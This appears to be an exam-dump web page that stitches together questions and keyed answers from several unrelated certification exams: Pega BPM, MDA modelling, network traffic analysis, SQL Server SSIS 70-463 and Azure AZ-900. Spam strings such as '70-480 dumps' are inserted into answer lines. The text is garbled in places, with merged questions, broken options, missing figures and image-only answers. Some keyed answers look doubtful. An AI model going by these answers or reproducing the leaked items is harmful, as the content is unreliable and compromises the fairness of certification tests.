By default, which types of information are automatically added to the history of a work item? (Choose Four)
A. Changes to work status
B. Audit notes
C. Changes to property values
D. Assignment instructions
E. The work type used to create the work item
F. The user who created the work item
Answer: A, B, D, F
QUESTION: 38
What is the key difference between BPM application development and traditional
application development? (Choose One)
A. A BPM application is process-centric (all elements of the application depend upon the process)
B. In a BPM application, elements of the application – such as UI, logic, and data – cannot be modular
C. A traditional application cannot be used in an N-tier environment
D. A traditional application allows for direct execution of the business process, while a
BPM application does not
70-480 vce Answer: A

QUESTION: 40 A ‘strongly typed’ programming language is subject to which two rules? (Choose two.)
A. Every data object must belong to one unique type.
B. All data objects are strongly associated to a local scope.
C. Data object names must be in strong Hungarian notation.
D. Data objects must be of the same type during assignments unless actively overridden.
Answer:AD
QUESTION: 41 Which two most accurately describe the added value of using MDA based transformations? (Choose two.)
A. PIM/PSM distinction
B. PIM/PSM template usage
C. Transformation recording
D. Transformation verification
E. Transformation automation
70-480 exam Answer:AC
QUESTION: 42 What transformation method is a component-based product line architecture most likely to use?
A. QVT
B. Manual C.
Patterns D.
Factoring
E. Automatic
Answer: E
QUESTION: 43 Which statement is true about a PIM?
A. It is always an application-level model.
B. It is sometimes called a domain model.
C. It may be transformed to a PSM using cascaded transformations.
D. It is a set of subsystems that provides functionality through interfaces.
Answer: C
QUESTION: 44 Which statement is true about an interoperability transformation?
A. It is a transformation applied to interoperability connectors.
B. It includes transformation specifications for two different platforms.
C. It is a transformation that distributes a PSM to a multiprocessor system.
D. It transforms two PIMs to a PSM that is interoperable on a single platform.
70-480 dumps Answer: B
QUESTION: 45 Which statement is NOT true about a PSM?
A. It may abstract away some of the platform details
B. It always includes a detailed model of the platform.
C. It must always be able to produce an implementation.
D. It must always include all details necessary to produce an implementation.
Answer: B
QUESTION: 46 What must include all of the information needed to construct a system and to put it into operation?
A. Platform
B. Viewpoint
C. Implementation
D. Platform Specific Model
70-480 pdf Answer: C
QUESTION: 47 Which two statements correctly describe the MDA Pattern? (Choose two.)
A. It includes a PIM that is independent of all platforms.
B. A PIM on one context may be a PSM in another context.
C. It includes a PIM that is independent of a specific class of platforms.
D. Once transformed into a PSM, a model will always be viewed as a PSM.
Answer: BC
QUESTION: 48 What are two characteristics of manual transformation in the MDA? (Choose two.)
A. It requires a record of the manual transformation.
B. It is a radical departure from traditional software design methods.
C. It makes an explicit distinction between a platform independent model and the transformed platform specific model.
QUESTION: 49 It adds very little to standard software design practices in use today, but provides a method to incorporate legacy software under the MDA name.
70-480 vce Answer:AC
QUESTION: 50 Most Remote Procedure Calls (RPCs) listen on ports?
A. all well-known ports
B. any port below 512
C. dynamically assigned ports, usually below port 1024
D. dynamically assigned ports, usually above port 1023
Answer: D
QUESTION: 51  In order to mine DHCP client addressing problems, it would be best to mine.
A. RDP and its associated port
B. Bootpc and Bootps (DHCP) and the last known address of the client
C. the last known address of the client
D. the port on the server that the client was attempting to reach
70-480 exam Answer: B
QUESTION: 52 Consider this mining filter. Which description most accurately describes what it does?
A. It includes packets in either direction only between network 192.168.1.0/24 and network 10.2.1.0/24.
B. It includes packets sent from network 192.168.1.0/24 to network 10.2.1.0/24.
C. It includes packets in either direction between network 192.168.1.0/24 and other all other networks,
except 10.2.1.0/24.
D. Nothing. No packets would pass this filter.
Answer:A
QUESTION: 53  Reviewing initial data and noting significant trends is part of a process used to.
A. testing a hypothesis
B. isolate an application for conversion
C. profile network usage
D. all of the above
70-480 dumps Answer: C
QUESTION: 54 If you have captured network traffic and misuse of a network is uncovered, it is usually best to:
A. Confront the individual and record your conversation.
B. Hand the information over to a network security officer or manager.
C. Take the initiative and perform your own investigation.
D. Not inform anyone.
Answer: B
QUESTION: 55 Remote Procedure Calls may change their listening port number when the service is disabled and restarted.
A. TRUE
B. FALSE
70-480 pdf Answer:A
QUESTION: 56 Which of the following uses Remote Procedure Calls?
A. Grep
B. Linux and Unix
C. Windows
D. VLANs
E. DNS
Answer: BC
QUESTION: 57 A list of up to 10 of the last file names accessed on an FTP server may be viewed.
A. in the data mining interface (Quick Select) on Files tab
B. in the data mining interface (Quick Select) by creating a custom tab and adding a Files column
C. in the analysis interface in an Expert Application layer object
D. in the analysis interface in an Expert Service layer object
70-480 vce Answer: D
QUESTION: 58  While troubleshooting firewall issues, it is useful to compare:
A. Stream data on the inside, since anything blocked will be on the inside.
B. Stream data on the outside, since anything blocked will be on the outside.
C. Stream data on the inside and outside of the firewall to see what is getting through.
D. None of the above.
Answer: C
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Exam Code: 70-463
Exam Name: Implementing a Data Warehouse with Microsoft SQL Server 2012
Updated: Aug 25, 2017
Q&As: 230

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Question No : 23 – (Topic 1)
You are creating a SQL Server Integration Services (SSIS) package to retrieve product
data from two different sources. One source is hosted in a SQL Azure database. Each
source contains products for different distributors. Products for each distributor source must be combined for insertion into a single product table destination. You need to select the appropriate data flow transformation to meet this requirement. Which transformation types should you use? (Each correct answer presents a complete solution. Choose all that apply.)
A. Multicast
B. Merge Join
C. Term Extraction
D. union All
E. Merge
70-463 exam Answer: D,E

Question No : 24 HOTSPOT – (Topic 1)
You are developing a data flow to load sales data into a fact table. In the data flow, you configure a Lookup Transformation in full cache mode to look up the product data for the sale.The lookup source for the product data is contained in two tables. You need to set the data source for the lookup to be a query that combines the two tables. Which page of the Lookup Transformation Editor should you select to configure the query? To answer, select the appropriate page in the answer area.
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Answer:
70-463 dumps

Question No : 25 – (Topic 1)
You are developing a SQL Server Integration Services (SSIS) package.You need to design a package to change a variable value during package execution by using the least amount of development effort. What should you use?
A. Expression task
B. Script task
C. Execute SQL task
D. Execute Process task
E. Term Extraction transformation
70-463 dumps Answer: A
Reference:

Question No : 26 – (Topic 1) You are using SQL Server Data Tools to develop a SQL Server Integration Services (SSIS)
project.The first package that you create in this project contains a package connection that accesses a flat file. Additional packages in the project must also access this file. You need to define and reuse the flat file connection in all project packages. What should you do?
A. Convert the package Connection Manager in the first package to a project Connection
Manager.
B. Copy the package Connection Manager and paste it into the second package.
C. Convert the project to the Package Deployment model.
D. Set the ProtectionLevel property of the package Connection Manager to
DontSaveSensitive to reuse the flat file connection.
Answer: A

Question No : 27 DRAG DROP – (Topic 1)
A Data Flow task in a SQL Server Integration Services (SSIS) package produces run-time errors. You need to edit the package to log specific error messages. Which three actions should you perform in sequence? (To answer, move the appropriate actions from the list of actions to the answer area and arrange them in the correct order.) 70-463 pdf
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Question No : 28 – (Topic 1)
You are designing a SQL Server Integration Services (SSIS) package that uses the Fuzzy Lookup transformation. The reference data to be used in the transformation does not change.You need to reuse the Fuzzy Lookup match index to increase performance and reduce maintenance. What should you do?
A. Select the GenerateAndPersistNewIndex option in the Fuzzy Lookup Transformation
Editor.
B. Select the GenerateNewIndex option in the Fuzzy Lookup Transformation Editor.
C. Select the DropExistingMatchlndex option in the Fuzzy Lookup Transformation Editor.
D. Execute the sp_FuzzyLookupTableMaintenanceUninstall stored procedure.
E. Execute the sp_FuzzyLookupTableMaintenanceInvoke stored procedure.
Answer: A

Question No : 29 – (Topic 1)
You are using a SQL Server Integration Services (SSIS) project that is stored in the SSIS catalog. An Environment has been defined in the SSIS catalog. You need to add the Environment to the project.
Which stored procedure should you use?
A. catalog.set_environment_reference_type
B. catalog.set_environment_property
C. catalog.create_environment_reference
D. catalog.create_environment
70-463 vce Answer: C

Question No : 30 DRAG DROP – (Topic 1)
You are developing a SQL Server Integration Services (SSIS) package that imports data
into a data warehouse. You are developing the part of the SSIS package that populates the
ProjectDates dimension table.
The business key of the ProjectDates table is the ProjectName column. The business user
has given you the dimensional attribute behavior for each of the four columns in the
ProjectDates table:
ExpectedStartDate – New values should be tracked over time.
ActualStartDate – New values should not be accepted.
ExpectedEndDate – New values should replace existing values.
ActualEndDate – New values should be tracked over time.
You use the SSIS Slowly Changing Dimension Transformation.
You must configure the Change Type value for each source column.
Which settings should you select? (To answer, select the appropriate setting or settings in
the answer area. Each Change Type may be used once, more than once, or not at all.)
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Question No : 31 DRAG DROP – (Topic 1)
You are designing a SQL Server Integration Services (SSIS) package. The package moves
order-related data to a staging table named Order. Every night the staging data is truncated
and then all the recent orders from the online store database are inserted into the staging
table. Your package must meet the following requirements: If the truncate operation fails, the package execution must stop and report an error. If the Data Flow task that moves the data to the staging table fails, the entire
refresh operation must be rolled back. For auditing purposes, a log entry must be entered in a SQL log table after each
execution of the Data Flow task.The TransactionOption property for the package is set to Required. You need to design the package to meet the requirements.How should you design the control flow for the package? (To 70-463 dumps answer, drag the appropriate
setting from the list of settings to the correct location or locations in the answer area.)
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Question No : 32 – (Topic 1)
You are developing a SQL Server Integration Services (SSIS) package that imports data
into a data warehouse hosted on SQL Azure.The package uses a Foreach container to process text files found in a folder. The package must be deployed to a single server by using the Project Deployment model. Multiple SQL Server Agent jobs call the package. Each job is executed on a different schedule. Each job passes a different folder path to the package.
You need to configure the package to accept the folder path from each job.
Which package configuration should you use?
A. .dtsConfig file
B. Registry Entry
C. Environment Variable
D. Parent Package Variable
E. XML Configuration File
70-463 exam Answer: C
Reference:

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QUESTION 1
Your company has 10 offices. You plan to generate several billing reports from the Azure portal. Each report will contain
the Azure resource utilization of each office. Which Azure Resource Manager feature should you use before you
generate the reports?
A. tags
B. templates
C. locks
D. policies
Correct Answer: A

QUESTION 2
A team of developers at your company plans to deploy, and then remove, 50 virtual machines each week. All the virtual
machines are configured by using Azure Resource Manager templates.
You need to recommend which Azure service will minimize the administrative effort required to deploy and remove the
virtual machines.
What should you recommend?
A. Azure Reserved Virtual Machines (VM) Instances
B. Azure DevTest Labs
C. Azure virtual machine scale sets
D. Microsoft Managed Desktop
Correct Answer: B
Reference: https://docs.microsoft.com/en-us/azure/lab-services/devtest-lab-overview

QUESTION 3
You have 1,000 virtual machines hosted on the Hyper-V hosts in a data center. You plan to migrate all the virtual
machines to an Azure pay-as-you-go subscription. You need to identify which expenditure model to use for the planned
Azure solution. Which expenditure model should you identify?
A. operational
B. elastic
C. capital
D. scalable
Correct Answer: A
References: https://docs.microsoft.com/en-us/azure/architecture/cloud-adoption/appendix/azure-scaffold

QUESTION 4
HOTSPOT
For each of the following statements, select Yes if the statement is true. Otherwise, select No.
NOTE: Each correct selection is worth one point.
Hot Area:

vcekey az-900 exam questions-q4

Correct Answer:

vcekey az-900 exam questions-q4-2

References: https://docs.microsoft.com/en-us/azure/azure-resource-manager/manage-resource-groups-portal
https://azure.microsoft.com/en-us/pricing/details/bandwidth/

QUESTION 5
Your company has an on-premises network that contains multiple servers.
The company plans to reduce the following administrative responsibilities of network administrators:
Backing up application data
Replacing failed server hardware Managing physical server security Updating server operating systems Managing
permissions to shared documents
The company plans to migrate several servers to Azure virtual machines.
You need to identify which administrative responsibilities will be reduced after the planned migration.
Which two responsibilities should you identify? Each correct answer presents a complete solution.
NOTE: Each correct selection is worth one point.
A. Replacing failed server hardware
B. Backing up application data
C. Managing physical server security
D. Updating server operating systems
E. Managing permissions to shared documents
Correct Answer: AC

QUESTION 6
You have an on-premises network that contains several servers.
You plan to migrate all the servers to Azure.
You need to recommend a solution to ensure that some of the servers are available if a single Azure data center goes
offline for an extended period.
What should you include in the recommendation?
A. fault tolerance
B. elasticity
C. scalability
D. low latency
Correct Answer: A

QUESTION 7
What should you use to evaluate whether your company\\’s Azure environment meets regulatory requirements?
A. the Knowledge Center website
B. the Advisor blade from the Azure portal
C. Compliance Manager from the Security Trust Portal
D. the Security Center blade from the Azure portal
Correct Answer: D
References: https://azure.microsoft.com/en-us/blog/regulatory-compliance-dashboard-in-azure-security-center-nowavailable/

QUESTION 8
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
An Azure administrator plans to run a PowerShell script that creates Azure resources.
You need to recommend which computer configuration to use to run the script.
Solution: Run the script from a computer that runs Chrome OS and uses Azure Cloud Shell.
Does this meet the goal?
A. Yes
B. No
Correct Answer: B

QUESTION 9
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
Your Azure environment contains multiple Azure virtual machines.
You need to ensure that a virtual machine named VM1 is accessible from the Internet over HTTP.
Solution: You modify a network security group (NSG).
Does this meet the goal?
A. Yes
B. No
Correct Answer: A

QUESTION 10
Note: This question is part of a series of questions that present the same scenario. Each question in the series contains
a unique solution that might meet the stated goals. Some question sets might have more than one correct solution,
while
others might not have a correct solution.
After you answer a question in this section, you will NOT be able to return to it. As a result, these questions will not
appear in the review screen.
You have an Azure environment. You need to create a new Azure virtual machine from an Android laptop.
Solution: You use the Azure portal.
Does this meet the goal?
A. Yes
B. No
Correct Answer: A
Reference: https://www.thomasmaurer.ch/2019/01/azure-cloud-shell/
https://www.pcmag.com/encyclopedia/term/66542/android-laptop

QUESTION 11
To what should an application connect to retrieve security tokens?
A. an Azure Storage account
B. Azure Active Directory (Azure AD)
C. a certificate store
D. an Azure key vault
Correct Answer: B

QUESTION 12
For each of the following statements, select Yes if the statement is true. Otherwise, select No. NOTE: Each correct
selection is worth one point.
Hot Area:

vcekey az-900 exam questions-q12

Correct Answer:

vcekey az-900 exam questions-q12-2

QUESTION 13
This question requires that you evaluate the underlined text to determine if it is correct.
You plan to deploy 20 virtual machines to an Azure environment. To ensure that a virtual machine named VM1 cannot
connect to the other virtual machines, VM1 must be deployed to a separate virtual network.
Instructions: Review the underlined text. If it makes the statement correct, select “No change is needed”. If the
statement is incorrect, select the answer choice that makes the statement correct.
A. No change is needed
B. run a different operating system than the other virtual machines
C. be deployed to a separate resource group
D. have two network interfaces
Correct Answer: A

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